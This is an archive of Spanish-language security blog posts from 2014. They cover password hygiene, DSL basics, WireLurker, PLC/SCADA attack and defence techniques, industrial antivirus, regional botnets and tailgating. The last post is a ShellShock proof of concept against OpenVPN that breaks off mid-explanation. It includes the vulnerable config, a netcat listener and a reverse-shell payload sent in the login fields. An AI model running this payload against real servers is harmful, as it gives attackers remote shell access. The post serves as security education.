lunes, 29 de diciembre de 2014

Tus contraseñas, asegúralas!



Si, lo sé, ya existen cientos de blogs que lo recomiendan, pero aún así sigue siendo uno de los vectores más vulnerables a ataques.

Sobretodo en estos días de consumismo voráz on-line, deberías reconsiderar todas tus contraseñas. Si ya las has convertido a seguras, entonces lo que debes es tener un plan para renovarlas constantemente.

Puede ser cansado si, pero mira esta noticia reciente. Parece de esas malas películas que para ahorrar costos repiten una escena una y otra vez. Si la solución es tan sencilla, por qué es de los threads más comunes? Yo tengo una teoría: "Hoy en día la gente conoce el precio de todo y el valor de nada. -Oscar Wilde-"

Y bien, te lo resumo en cuatro sencillos pasos:

El primero, multiplicidad:
  • Asegúrese de tener una contraseña distinta para cada cuenta online importante que posea. Los cibercriminales pueden robar su usuario y contraseña de otro sitio, y luego usarlos para intentar iniciar sesión en muchos otros sitios en donde pudieras tener una cuenta.
  • Si usted utiliza la misma contraseña a lo largo de diferentes sitios, existe una mayor posibilidad de que ésta termine en una lista de contraseñas robadas, y mientras más cuentas tenga que usen esa contraseña, más información podrías perder si dicha contraseña fuera robada.
  • Darle a cada cuenta una contraseña fuerte y propia le ayuda a protegerse a sí mismo y a la información contenida en su cuenta. Empiece hoy mismo!

El segundo (si, el anterior era solo el primero), complejidad:
  • Contraseñas como “123456”, “password”, “hola123” son ejemplos de malas contraseñas por una sencilla razón: resultan fáciles de adivinar! Hacer que su contraseña sea extensa y más complicada hace que sea más difícil adivinarla, tanto para los malhechores, como para la gente que pueda conocerte.
  • Sabemos que es más fácil de decir que de hacer. Al fin y al cabo, la contraseña promedio contiene menos de 8 caracteres y sólo puede incluir letras. De hecho, sólo el 4% de las contraseñas incluyen caracteres ¨especiales” como @ o &, y sólo un poco más de la mitad utiliza números.
  • Una forma de crear contraseñas fuertes es pensar en una frase o enunciado que otras personas no conozcan y luego utilizarlo para generar su contraseña. Por ejemplo, en el caso de su email, podrías pensar en un mensaje personal como: “Todos los días me levanto y tomo dos chocolates antes de salir” y luego construir la contraseña con los números, los símbolos y las primeras letras de cada palabra para obtener algo como: “Tldml&t2c_ads” (de hecho, esa era mi clave).
  • Y recuerde que su película o canción favorita suele ser popular y que los cibercriminales también van al cine y escuchan música, además, cuentan con diccionarios de contraseñas comunes cuando intentan ingresar a su cuenta. La idea es que la contraseña sea algo que sólo usted conozca.

Tercero, ya casi termino, almacenamiento:
  • Las investigaciones muestran que la principal razón por la cual la gente reutiliza ciertas contraseñas a lo largo de múltiples servicios es el temor a olvidar tantas contraseñas. Sin embargo, si usted ha creado demasiadas contraseñas difíciles de recordar, está bien que las escriba. Sólo asegurese de mantenerlas en un lugar seguro donde no las pierda y adonde otros no puedan encontrarlas. Si prefiere manejar sus contraseñas digitalmente, una buena opción podría ser buscar un administrador de contraseñas confiable. 
  • Chrome y muchos navegadores web cuentan con administradores de contraseñas gratuitos integrados; también existen muchas otras opciones independientes. Tómese el tiempo de revisar reseñas de distintos administradores de contraseñas para determinar cuál podría ser la mejor opción para sus necesidades.

Cuarto, recuperación:
  • ¿Alguna vez se te ha olvidado una contraseña? Pues no eres la primera persona a la que le sucede… Establecer una opción de recuperación, como una dirección de correo o un número de teléfono alterno, ayuda a darle al proveedor del servicio otra forma de contactarle en caso de que algún día no pueda entrar a su cuenta. Tener un teléfono o dirección de correo de recuperación actualizada es la mejor forma de asegurarse de que podrá volver a ingresar a su cuenta rápidamente en el caso de que surgiera algún problema.
  • Tener una estrategia de seguridad en Internet optimizada no es garantía de seguridad, del mismo modo que mantener las puertas y ventanas de su casa cerradas tampoco garantiza que nadie pueda entrar nunca sin su consentimiento. Pero una contraseña bien construida logra que los accesos a sus cuentas sean más resistentes a un ataque casual de bajo nivel, que son los más habituales en Internet. Una gran parte de los intentos ilegales de hackear cuentas se hace a través de ataques de este tipo, en los que una contraseña es adivinada o robada para tener acceso a otras cuentas.

Como vieron no es nada del otro mundo. Hay recursos en Internet para probar contraseñas seguras, como el siguiente de la gente de Kaspersky Labs, pruébenlo.

Feliz año y pura vida gente!!!


martes, 9 de diciembre de 2014

¿Sabes lo qué es DSL o xDSL? Parte I



Pura vida gente!

Luego de un tiempo de receso, les vuelvo a compartir un post más (en realidad varios de este tema). El tema va dirigido a aquellas personas con Internet en el hogar y que conocen poco o nada de cómo "mágicamente" les llega ese servicio a casa.

Empecemos por un concepto básico en telecomunicaciones, que mucha gente usa en su diario vivir, pero que pocos conocen a fondo, el DSL (xDSL) más conocido como ADSL.

Lo primero que deben saber es que no es una marca comercial. Mucha gente lo relaciona directamente con el aparato (hardware) que tienen en sus hogares o empresas para conectarse a Internet. El router (aparato lleno de luces... je je je vean este link explicativo si desean) es solamente el medio físico necesario para que el servicio xDSL se de.

Expuesto lo anterior, pasamos a los conceptos básicos:
  • El DSL (Digital Suscriber Line) lo conocemos como la Línea de Abonado Digital, que es una familia de tecnologías que proporcionan el acceso a Internet mediante la transmisión de datos digitales a través de los cables de una red telefónica local. Es un término utilizado para referirse de forma global a todas las tecnologías que proveen una conexión digital sobre línea de abonado de la red telefónica básica o conmutada, a esta familia pertenecen las líneas de abonado: ADSL, ADSL2, ADSL2+, SDSL, IDSL, HDSL, SHDSL, VDSL y VDSL2. El xDSL es un término genérico para la gran variedad de tecnologías pertenecientes a DSL, y cada una de estas tiene distintas características en cuanto a prestaciones (velocidad de la transmisión de datos por ejemplo) y distancia de la Central Telefónica (ya que el cable de cobre no estaba pensado para eso, a cuanta más distancia peores prestaciones).
  • Otro punto importante, que incluso los vendedores del servicio (ISP's) erran a la hora informar al usuario, es la llamada "velocidad de internet". El término como tal no existe, este se utiliza para identificar un comportamiento solamente. En informática y telecomunicaciones, el término tasa de bits (en inglés bit rate, a menudo tasa de transferencia) define el número de bits que se transmiten por unidad de tiempo a través de un sistema de transmisión digital o entre dos dispositivos digitales. Así pues, es la velocidad de transferencia de datos.
  • La unidad con que el Sistema Internacional de Unidades expresa el bit rate, es el bit por segundo (bit/s, b/s, bps). La b debe escribirse siempre en minúscula, para impedir la confusión con byte por segundo (B/s). Para convertir de bytes/s a bits/s, basta simplemente multiplicar por "8" y viceversa. Que la unidad utilizada sea el bit/s, no implica que no puedan utilizarse múltiplos del mismo:
    • kbit/s o kbps (kb/s, kilobit/s o mil bits por segundo)
    • Mbit/s o Mbps(Mb/s, Megabit/s o un millón de bits por segundo)
    • Gbit/s o Gbps (Gb/s, Gigabit, mil millones de bits)
    • byte/s (B/s u 8 bits por segundo)
    • kilobyte/s (kB/s, mil bytes u ocho mil bits por segundo)
    • megabyte/s (MB/s, un millón de bytes u 8 millones de bit por segundo)
    • gigabyte/s (GB/s, mil millones de bytes u 8 mil millones de bits)
  • Vean estas tasas de transferencia típicas de los accesos de conexión a Internet y su conversión de bit/s a B/s:
    • Módem RTB: 128 kbit/s = 16 kB/s (16 kilobytes por segundo)
    • ADSL: 64 Mbit/s = 8 MB/s (8 megabytes por segundo)
    • Cable: 30 Mbit/s = 3,75 MB/s (3,75 megabytes por segundo)
    • VSAT: 6 Mbit/s = 750 kB/s (750 kilobytes por segundo)
    • Telefonía móvil 3G: 3 Mbit/s = 375 kB/s (375 kilobytes por segundo)
  • Por ejemplo una de las velocidades ofrecidas (tomada de acá) por el Instituto Costarricense de Electricidad (ICE) es de: 6 Megas (6144/1024 Kbps). Ahora la pregunta, velocidad de qué? de internet? No. Veamos:
    • Han notado en algún momento esos dos numeritos encerrados en paréntesis? Son las tasas de subida y descarga de datos. Como ambas no suelen ser iguales en ADSL por ejemplo, se dice que el servicio es asimétrico. La velocidad de bits de los servicios del cliente DSL varía normalmente de 256 kbit/s hasta 40 Mbit/s en dirección hacia el cliente (flujo descendente de datos), dependiendo de la tecnología DSL, condiciones de la línea y la aplicación de nivel de servicio. En ADSL, el flujo ascendente de datos (la dirección hacia el proveedor de servicios o ISP) es más baja, por lo tanto, la designación de servicio es asimétrica. En los servicios de línea de abonado digital simétrica (SDSL), las tasas de datos de descendentes y ascendentes son iguales.
    • El punto aquí es que se utilizan diferentes frecuencias para la transmisión de datos. Si no sabes lo que frecuencia revisa el link que te compartí en este párrafo. Veamos las frecuencias (cuya unidad de medida son los Hertz -Hz-) usadas en ADSL. 
El área roja es el área usada por la voz en telefonía normal, el área verde es el upstream o subida de datos y el área azul es para el downstream o descarga de datos.

El por qué de esa división de frecuencias en realidad es muy simple. En telecomunicaciones es muy importante separar el tráfico de datos por diferentes "carreteras" (canales en realidad), ya que así se evitan "choques" o interferencias entre los datos... esa explicación fue a muy grandes rasgos, créanme.

Como notarán el área azul es más ancha. En ADSL suele ser así porque se necesitan recursos disponibles diferentes para descargar que para transmitir datos. Actualmente, las empresas de telefonía están implantando versiones mejoradas de esta tecnología como ADSL2 y ADSL2+ con capacidad de suministro de televisión y video de alta calidad por el par telefónico, lo cual supone una dura competencia entre los operadores telefónicos y los de cable, y la aparición de ofertas integradas de voz, datos y televisión, a partir de una misma línea (llamado comúnmente Triple-Play). El uso de un mayor ancho de banda para estos servicios limita aún más la distancia a la que pueden funcionar, por el par de hilos.

ADSL2 y ADSL2+ incorporan mecanismos de modulación y gestión de los recursos físicos avanzados, de modo que no sólo aumentan la capacidad del ADSL convencional de 8 Mbit/s a 12 y 24 Mbit/s respectivamente, sino que introducen mejoras para evitar las interferencias o ruido y disminuir los efectos de la atenuación de ahí que se alcancen distancias de hasta 9 km.

Creo que hasta aquí es suficiente para la primera entrega. En el siguiente post veremos como funcionan las conexiones xDSL. Nos vemos!!


lunes, 10 de noviembre de 2014

WireLurker, malware para Apple iOS



Pura vida gente!

Un grupo de investigadores de PaloAlto Networks, llamada Unidad 42 ha descubierto recientemente una nueva familia de malware para Apple OSX y iOS llamado "WireLurker". 

Las características de esta familia de malware, incluyendo su capacidad de infectar incluso dispositivos iOS sin "jailbreak" a través de aplicaciones de OS X troyanizadas, sugieren que marca una nueva era en el malware a través de escritorio de Apple y las plataformas móviles.

Esta vez Apple ha actuado rápidamente para bloquear las aplicaciones de los responsables, que lo han propagado desde una tienda de aplicaciones para Mac de China. Concretamente, estaba siendo propagado desde la tienda de aplicaciones para ordenadores de Apple, Maiyadi. Esto sucedía al conectar un iPad o un iPhone al ordenador troyanizado. En donde al llegar a ese punto, el virus robaba los datos de los dispositivos infectados.

La compañía de Cupertino ha identificado un total de 467 aplicaciones infectadas con el malware 'WireLurker, que habían sido descargadas más de 356.000 veces...  0_o

¿Cómo funciona?

WireLurker controla cualquier dispositivo iOS conectado vía USB a un ordenador OS X infectado, instalando aplicaciones de terceros o genera sus propias aplicaciones maliciosas automáticamente en el dispositivo, con o sin "jailbreak". Esta es la razón por la que lo llaman "wire lurker". 

Los investigadores han demostrado métodos similares para atacar a los dispositivos con "jailbreak" antes, sin embargo, este malware combina una serie de técnicas para realizar con éxito un nuevo tipo de amenaza para todos los dispositivos iOS. WireLurker exhibe una estructura compleja de código, varias versiones de componentes, archivos ocultos, código ofuscado y encripción personalizado para frustrar el anti-reversing

Recomendaciones 

Estos son algunos consejos para mitigar la amenaza de WireLurker y amenazas similares:
  • Emplear un producto de antivirus o de seguridad para el sistema Mac OS X y mantener sus firmas actualizadas.
  • En el panel de Preferencias del Sistema de OS X, en "Security & Privacy" asegurese de que "Allow apps downloaded from Mac App Store (or Mac App Store and identified developers)" está activado.
  • No descargar y ejecutar aplicaciones para Mac o juegos de cualquier tienda de aplicaciones de terceros, torrents o de otra fuente no confiable.
  • Mantenga la versión de iOS en su dispositivo hasta al día.
  • No acepte ningún archivo de aprovisionamiento empresarial a menos que tenga una autorización para recibirlo.
  • No vincule el dispositivo iOS con los ordenadores o dispositivos que no son de confianza o desconocidos.
  • Evite encender su dispositivo iOS a través de los cargadores no confiables o desconocidos.
  • Del mismo modo, evite la conexión de dispositivos iOS con los accesorios que no son de confianza o desconocidos (Mac o PC).
  • No use "jailbreak"; en caso contrario, utilice accesos de la comunidad de Cydia confiables y evite el uso o almacenamiento de la información personal en el dispositivo.

Acceda a la herramienta para detectar la familia de malware WireLurker en OS X, liberada en GitHub.

Nos vemos.

martes, 4 de noviembre de 2014

Vulnerabilidades en Controladores Lógico-Programables (PLC)


Pura vida gente!

El post de hoy, continúa el tema industrial que comenzamos con el tema de los antivirus hace unos días atrás.

Según la IEEE, en su normativa respecto a subestaciones de distribución de energía eléctrica, pero aplicable al resto de sistemas de automatización, la intrusión electrónica se define como la entrada en una subestación por vía electrónica (teléfono, radio, etc.) para manipular o interferir el equipamiento electrónico tales como controladores, autómatas, etc.

En el momento en que un sistema de control presenta la posibilidad de ser accedido de forma remota, su área de riesgo crece en forma alarmante. Cualquier punto de conexión es susceptible de ser utilizado por personas con aviesas intenciones.

Ejemplo de ello son los PLC. Cuando se dieron los ataques de Stuxnet , este reemplazaba comandos legítimos del software Siemens Simatic Step7 al PLC (uno tipo de dispositivo de los que se componen los sistemas SCADA). Además, había que tener en cuenta que los PLCs no son configurables para restringir su acceso a determinadas direcciones IP y, aunque el PLC sea configurado para aceptar únicamente paquetes autenticados, la medida de seguridad se puede deshabilitar mediante ataques de repetición.

Hay varias técnicas de penetración y varios tipos de remediación a dichas técnicas, pero van a depender del escenario, componentes que se deseen vulnerar y las interfaces que los PLC tengan. La siguiente es una lista de posibles metodologías y técnicas de ataque utilizadas contra sistemas de control y automatización:
  • Análisis de vectores de ataque habituales (activo/pasivo), enumeración de vulnerabilidades, explotación de puertos disponibles y escalado de privilegios, harvesting, puertas traseras, copias de seguridad, eliminación del rastro/evidencias.
  • Salto entre segmentos de red para alcanzar los objetivos de un sistema de control y automatización.
  • Se recomiendan las siguientes técnicas de Pentest:
    • Labores de inteligencia para dar con datos sobre protocolos usados y así vectorizar lenguajes de programación para inyección de scripts: Whois, Samspade, Maltego, Google hacking, Shodan.
    • Ataques DNS en el caso de los sistemas bados en PC: DNS lookup, Netblock, transferencia de zona.
    • Ataques en comunicaciones basadas en Ethernet/IP: ARP spoofing, IP spoofing, SYN flood, ICMP flood, Pinf of Death, etc.
    • Ataques contra equipamiento de red periférico: STP spoofing, VLAN hopping, FW bypass, port knocking, fragmentación, etc.
    • De los más importantes están los ataques a bajo nivel en infraestructuras de comunicaciones cableadas: PLC, PRIME; RS/232, RS/422, RS/485; MPLS, etc.
    • Ataques en comunicaciones inalámbricas: Zigbee/IEC 802.15.4, Wifi/IEC 802.11. Por ejemplo ataques a PLC's marca Wireless Wire SW 1008. Pueden probar unos jammers geniales para wifi como el WB12.
    • Ataques a nivel de aplicación: bypassing, desbordamientos de buffer, inyecciones de código, ataques CGI, RFI, etc.
    • Ataques dirigidos y automatización de ataques: suite metasploit, autoPWN, Fast-Track, aspectos básicos de la creación de exploits basados en lenguajes como Ladder.
Otros aspectos básicos, como los pasos más comunes a seguir una vez que se ha alcanzado el acceso al PLC son (no necesariamente en ese orden):
  1. Denegación de servicio en comunicaciones serie.
  2. Captura, modificación e inyección de tráfico Modbus serie.
  3. Captura y análisis de protocolo Modbus/TCP.
  4. Captura, modificación e inyección de tráfico Zigbee.
  5. Intrusión a un sistema SCADA desde el exterior: peligros asociados con un mal diseño.
  6. Intrusión interna a un sistema SCADA.
  7. Ataque a servidor web de una RTU y de un HMI en un aplicativo SCADA.
Descrito lo anterior, procedo a mencionar las remediaciones más comunes a los problemas de seguridad ya descritos:
  • Métodos, modelos, técnicas y tecnologías de seguridad utilizadas en sistemas de control y automatización:
    • Cortafuegos, diodos de datos, IPS, segmentación por encriptación y redes virtuales.
    • Autenticación y autorización de entidades.
    • Cifrado de comunicaciones: túneles/VPN, seguridad inalámbrica, etc.
    • Registradores de eventos y SIEMs.
    • Escáneres de vulnerabilidades.
    • Antivirus y listas blancas.
    • Tecnologías de gestión de parches.
    • DLPs.
    • Honeypots y honeynets.
  • Segmentación en sistemas de control y automatización:
    • Diseño de DMZs y de zonas/segmentos.
    • Recomendaciones del IEC 643443/ISA99 y la RG 5.71.
    • Buenas prácticas en el despliegue de cortafuegos: arquitecturas y reglas de filtrado.
  • Monitorización de seguridad en sistemas de control y automatización: 
    • Despliegue, configuración y mantenimiento de IDS/IPS de red y de host.
    • Despliegue de sistemas de monitorización y gestión de eventos: SNMP-to-OPC, Syslog, agregación de logs, arquitecturas.
    • Gestión de alertas, etc.
    • Honeynets y honeypots.
Por supuesto, los pasos más comunes a seguir para implementar lo anterior sería:
  1. Configuración de firewall perimetral.
  2. Segmentación basada en VLAN.
  3. Instalación y configuración de un diodo de datos.
  4. Instalación y configuración de un IDS Modbus/TCP.
Nos vemos!

jueves, 30 de octubre de 2014

Antivirus en Sistemas de Control Industrial

Hola estimados,

Hoy deseo hablarles sobre un tema no tan conocido fuera del ámbito industrial. Los Sistemas de Control Industrial (ICS) están al límite entre lo privado y lo público. La infraestructura crítica está en manos de empresas que sirven al público, casi siempre. Las regulaciones de los gobiernos son lo único que motiva a muchas de estas compañías para que mantengan cierto nivel de seguridad.

El interés sobre los ICS ha aumentado desde que Stuxnet apareció en las noticias el año pasado. Esto se comprueba con el hecho de que la gente ha comenzado a publicar vulnerabilidades sin parchar y exploits. Los ICS y los sistemas llamados SCADA se enfocan en mejorar la fiabilidad y el tiempo de funcionamiento, pero la seguridad se ha quedado en un segundo plano.

De las pocas remediaciones a nivel país que se conocen, Irán curiosamente, aplicó una en 2010 cuando crearon un antivirus para eliminar el gusano Stuxnet. Este afectó los equipos industriales de todo el mundo, aunque tenía como blanco a las instalaciones industriales de Irán, sobre todo, la planta nuclear de Bushehr en el sur del país persa. 

Hoy en día es necesario incluso contar con sistemas de antivirus industriales, que permitan no solo una protección reactiva, sino que complementen el anillo de seguridad de estándares ya conocidos.

De acuerdo a los nuevos estándares internacionales sobre Seguridad Cibernética, las responsabilidades de los proveedores de soluciones son: 
  • Garantizar el diseño de productos y aplicaciones con características de seguridad 
  • Avalar que éstos permiten a los clientes cumplir con los estándares de seguridad 
  • Proveer recomendaciones y metodologías que orienten la implementación de estos estándares 

Y, respecto de los usuarios, las responsabilidades son: 
  • Definir procedimientos de seguridad (seguridad organizacional) 
  • Responsabilizar a las personas en el proceso (seguridad personal)
  • Garantizar el cumplimiento de los estándares de seguridad

Basado en lo anterior podemos asegurar que la puerta de entrada del malware a una empresa, en un porcentaje muy alto, será por la mal-llamada capa 8: el usuario final. Acá es donde entran a jugar los antivirus.

Un ejemplo de la importancia de tener un buen antivirus y su respectiva asistencia técnica, lo dió F-Secure en 2013 cuando descubrieron que muchos ataques eran dirigidos al sector energético, por medio de la propagación de la familia de malware (presenta 88 variantes) Havex en ICS.

Havex es un Troyano de Acceso Remoto (RAT), que llega a sus víctimas a través de correos electrónicos no deseados (spoofing) y kits de explotación, pero para maximizar la probabilidad de infección, los atacantes también utilizaron la técnica watering hole o abrevadero.

Hay muchas marcas y aplicación variada de los antivirus que se podrían usar. Por ejemplo, CIFS Integrity Monitoring (CIM), que es el programa antivirus industrial de Phoenix Contact. Sin tener que descargar archivos de patrones de virus, CIM reconoce si los sistemas basados en Windows como sistemas de control, unidades de mando o PC han sido manipulados, por ejemplo por software malintencionado. El CIM presenta un componente llamado CIFS-Antivirus-Scan-Connector, que permite a los escáneres antivirus externos realizar un análisis en unidades de disco posteriores a FL MGUARD (router-firewall) y que no son accesibles desde fuera, como en los PC industriales en células de producción.

Kaspersky también ha ofrecido soluciones propias para la industria de purificación de agua, en el campo de los antivirus.

Recuerden siempre el enfoque "Defense in Depth" (DiD) en seis pasos:

A nivel de diseño:

1. Plan de Seguridad. Crear, aplicar y actualizar políticas y procedimientos de seguridad. Ellos deben evaluar la vulnerabilidad, mitigar los riesgos y definir cómo recuperarse de eventuales incidentes.

A nivel de implementación:

2. Separación de la red. Separar completamente el Sistema de Automatización y Control Industrial (IACS) de otras redes internas o externas creando subredes físicas o lógicas, de modo de añadir una capa adicional de seguridad a una red organizacional LAN (DMZ, demilitarized zone).

3. Protección de perímetro. Proteger el Sistema de Automatización y Control Industrial (IACS) contra accesos no autorizados a través del uso de firewalls, autenticación, autorización, VPN y programas de antivirus. Además, contemplar los eventuales accesos remotos al Sistema de Automatización y Control Industrial (IACS)

4. Segmentación de la red. Utilizar switches administrados y VLANs para dividir la red en segmentos. Esto permite contener eventuales brechas de seguridad dentro de un único segmento.

5. Robustez de los dispositivos. Configurar adecuadamente los dispositivos PLCs, PACs, PCs, switches, entradas/salidas e instrumentos para aumentar la seguridad: fuerte gestión de accesos vía passwords; definición de perfiles de usuarios; desactivación de servicios e interfaces sin uso.

A nivel de operación y mantenimiento:

6. Monitoreo y actualización. Permanente supervisión de las redes de comunicaciones y de todas las operaciones. Actualizar software y firmware para reducir la vulnerabilidad.

En fin, hay muchas recomendaciones y soluciones al caso, pero siempre es bueno escuchar a los expertos. Siemens tiene varias herramientas interesantes. El US CERT se pronunció al respecto hace un tiempo atrás. Los conmino a leer las recomendaciones.

Nos vemos.

viernes, 10 de octubre de 2014

Botnets y Centroamérica, nuevo mercado!

Malas noticias queridos centroamericanos!

Según la firma Eset, en este 2014 la región centroamericana esta siendo invadida con dos tipos de malware, que ponen en peligro los sistemas. Estamos hablando de Win32/DorkbotVBS/Agent.NDH.

El primero ha estado en el podio de las detecciones. Este gusano que se comunica con su Centro de Comando y Control (C&C) a través del protocolo IRC da mucho que hablar. Cuenta con 80 mil equipos infectados, analizando sus capacidades y campañas de propagación.

Uno de los puntos de mayor efectividad en este gusano radica en sus métodos de propagación y persistencia en el sistema. Este logró abusar de los archivos LNK (Accesos directos) para infectar sistemas y afectar a millones de dispositivos USB que usuarios desprevenidos conectaban a cualquier equipo y luego conectaban en sus computadoras personales.

Innovando en sus técnicas de propagación, reemplazaba todas las carpetas y archivos por accesos directos, y para lograr ejecutarse modificaba el campo Target (Destino) por una concatenación de comandos que ejecutarían el archivo malicioso y luego abrirían la carpeta para que el usuario pueda ver los archivos.

Sin embargo, Dorkbot en los últimos meses perdió terreno en comparación a una nueva amenaza: VBS/Agent.NDH, uno de los gusanos más propagados en Latinoamérica.

Esta amenaza es un script, que utiliza la plataforma de Scripting de Microsoft para realizar sus acciones maliciosas y logró en solo un par de meses competir con Dorkbot e incluso superarlo en cantidad de detecciones en algunos países de Centroamérica, y del resto de América Latina.

VBS/Agent.NDH es capaz de descargar otras amenazas y generar visitas en sitios web, capacidad altamente relacionada al malvertising y a Black Hat SEO. Entre los efectos más críticos para un usuario, le otorga al cibercriminal un acceso remoto al equipo víctima.

¿Error de capa 8?

Todos sabemos que el phising (que se usa para las botnets) va dirigido a usuarios finales. ¿Ellos tendrán la culpa de eso? ¿Seremos mas bien nosotros, los de TI los responsables indirectos?

Lo primero que se recomienda es hacer charlas y capacitaciones donde se les explique qué es el phishing y cual esta magnitud de caer en esta trampa.

Estamos en la obligación de innovar con un sistema de prácticas realistas, donde se hagan laboratorios virtuales en entornos controlados y poder mostrarle al usuario a qué esta expuesto. Estas prácticas deben ser sin fines maliciosos, pero si para educar a los usuarios sobre cualquier temática de seguridad informática pero si recalcando el alcance de cada una de ellas. La prevención es un arma muy poderosa contra las ciberamenazas.

Los delincuentes cibernéticos ya no lanzan millones de correos electrónicos a la deriva como sucedía anteriormente, ahora utilizan técnicas dirigidas e intentan integrar tácticas de ingeniería social. Las redes sociales son puente para que los cibercriminales investiguen e incluso creen perfiles falsos para robar la información de las futuras víctimas.

 Investigadores de Websense indicaron que las principales líneas de ataque son las siguientes:
  1. Invitación a conectarse en LinkedIn.
  2. La entrega del mensaje ha fallado: devolver el mensaje al remitente.
  3. Querido cliente del banco .
  4. Comunicación importante.
  5. Mensaje no entregado devuelto al remitente.
Estas son las principales formas de engaño de los ciberdelincuentes para que los destinatarios hagan clic en un enlace malicioso y el archivo se descargue, infectando el dispositivo.

¿En la región somos ToE (Target of Evaluation)?

La firma Proofpoint se encontró un gran número de sitios web de WordPress que se vieron involucrados con un software malicioso llamado Qbot. La compañía analizó el malware y localizó un panel de control sin protección en un servidor utilizado por la banda para controlar las computadoras.

El panel de control arrojó una gran cantidad de información acerca de la campaña de malware, donde recogieron 800.000 credenciales de cuentas bancarias en línea, muchos de los cuales estaban en cinco de los mayores bancos de Estados Unidos y algunos en Europa.

Además de robar credenciales de banca en línea, los atacantes también parecen estar haciendo dinero de los ordenadores hackeados de otras maneras.

El malware Qbot también tiene un módulo llamado SocksFabric para una red de tunneling. Esa red se alquila a otros cibercriminales que pueden utilizar los ordenadores hackeados como proxies para utilizar sus propios datos en todo o enmascarar su actividad.

El 52% de los ordenadores comprometidos se ejecutaban con Windows XP. Sorprendente que todavía lo usen.

Un ejemplo de esta vigilancia la sufrió Costa Rica, en la cual, cerca de 100 clientes del Banco Popular fueron víctimas de una estafa que se realizó el pasado 27 de setiembre en la madrugada por el método de skimming. A cada cliente se le sustrajeron cerca de 250 USD, lo que entre todos equivale a un total de 25.000 USD.

Recuerde nuevamente, la prevención es su mejor arma.

jueves, 9 de octubre de 2014

Ingeniería social 101: Tailgating

Pura vida gente!

Como me comprometí a hacerles unos posts sobre ciberseguridad básicos, les comparto el tema de Tailgating

La palabra proviene de una costumbre social estadounidense (entiéndase "gringa"), donde se invita a la gente a compartir y degustar comida. Normalmente se hace con una parrilla, se abre la parte de atrás de un vehículo (de ahí el término tailgate) donde está todo lo necesario para la parrillada y se permite que gente de alrededor (incluso desconocidos) accedan a la comida.

Vamos al grano. El tailgating es un tipo de Ingeniería Social en donde un atacante puede obtener acceso (que originalmente no posee) a un área restringida, siguiendo a alguien que si posee el permiso de ingreso a dicha zona y que obviamente, actuando de manera tan natural como si en realidad tuviese permiso de ingreso. Para que me comprendan les comparto este video:


Pudieron observar que el primer intento si dio resultado y el segundo no, ¿por qué?

Para explicar eso, acudo a costumbres sociales establecidas bajo la palabra: cortesía. Este tipo de ingeniería social funciona, debido a que la gente (dependiendo de varios factores) normalmente es cortés. En muchos países es mal visto no sostener la puerta mientras otra persona trata de ingresar al mismo sitio que usted lo hace. Como resultado de eso, se abre una brecha de seguridad a nivel perimetral.

Cómo remediar dicha brecha? Sencillo. Si trabajas en una zona de acceso restringido y alguien desea entrar detrás tuyo o de alguien más, y que sea ajeno a dicho lugar, solo debes detenerlo y preguntarle 3 cosas: quién es (identificación), cuál es el objetivo de su visita (verificación) y a quién pretende visitar (autenticación).

Si las respuestas no te satisfacen, debes aclararle que se encuentra por ingresar a zona restringida y que necesita permiso. Le indicas que espere en una zona común, cierras la puerta de acceso restringido y luego llamas a seguridad para lo guíen donde se pueda identificar adecuadamente.

No necesitas ser rudo(a), solo firme.

Nos vemos.

viernes, 3 de octubre de 2014

ShellShock PoC para OpenVPN



Hola estimados,

Siguiendo con el trending topic de ShellShock, nos dimos cuenta que los servidores basados en OpenVPN son vulnerables al problema del Bash.

OpenVPN posee varias opciones de configuración que pueden llamar comandos personalizados durante diferentes etapas del tunnel session. Muchos de estos comandos son llamados con variables de entorno, y algunas de las cuales pueden ser controladas por clientes de este. Una opción usada para la autenticación (username+password) es "auth-user-pass-verify". Si el script llamado usa un shell vulnerable, el cliente simplemente puede enviar el exploit con el payload modificando esos dos parámetros. Este vector de ataque, como podrán imaginar, puede resultar dañino.

Funciona así:

La opción ejecuta un script, definido por el administrador, mediante el interprete de línea de comandos para validar los nombres de usuario y contraseñas proporcionados por los clientes. Esto abre la posibilidad de que ciertos clientes envíen nombres de usuario y contraseñas formados maliciosamente, para explotar la vulnerabilidad Shellshock cuando esos datos sean pasados a Bash como cadenas. Diabólicamente genial... desde un punto de vista académico, claro está.

Configuremos un ejemplo. Si deseas saber como se instala un servidor con OpenVPN sigue este manual. Asumamos que el servidor tiene esta configuración en el archivo server.config:

  1. ### server.conf
  2. port 1194
  3. proto udp
  4. dev tun
  5. client-cert-not-required      # Para que no pida certificados al cliente
  6. auth-user-pass-verify /etc/openvpn/user.sh via-env
  7. tmp-dir "/etc/openvpn/tmp"
  8. ca ca.crt
  9. cert testing.crt
  10. key testing.key               # Este archivo debería mantenerse como secreto de estado
  11. dh dh1024.pem
  12. server 10.8.0.0 255.255.255.0 # IP y máscara de prueba
  13. keepalive 10 120
  14. comp-lzo
  15. user nobody
  16. group nogroup
  17. persist-key
  18. persist-tun
  19. client-cert-not-required
  20. plugin /usr/lib/openvpn/openvpn-auth-pam.so login
  21. script-security 3
  22. status openvpn-status.log
  23. verb 3

Verificamos que tanto el usuario como la clave, puedan recibir literales de cadena como valores:

  1. ### user.sh
  2. #!/bin/bash
  3. echo "$username"
  4. echo "$password"

Iniciamos el servidor:

  1. ### Inicio del servidor
  2. openvpn tus_parametros_de_inicio

En un terminal aparte ponemos a escuchar con el NetCat, el puerto 4444:

  1. ### terminal 1
  2. nc -lp 4444

En un segundo terminal conectamos un cliente al servidor. Usaré la IP de ejemplo 10.10.0.52, además en el parámetro --ca estoy pasando un certificado (de todas formas no serviría puesto que arriba se configuró así):

  1. ### terminal 2
  2. sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca tuCertificado.cert --auth-nocache --comp-lzo

Acá viene la maña! Cuando nos pida usuario y clave, ponemos esto:

  1. ### usuario && clave ambas son "shellshockeadas"
  2. user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
  3. pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &

Explicación

Aplicamos ShellShock a través de cada parámetro (username y password). Básicamente le dijimos al puerto (en /dev/tcp/xxx.xxx.xxx.xxx/4444) que switcheara los file descriptors. Bien, lección Linux 101:

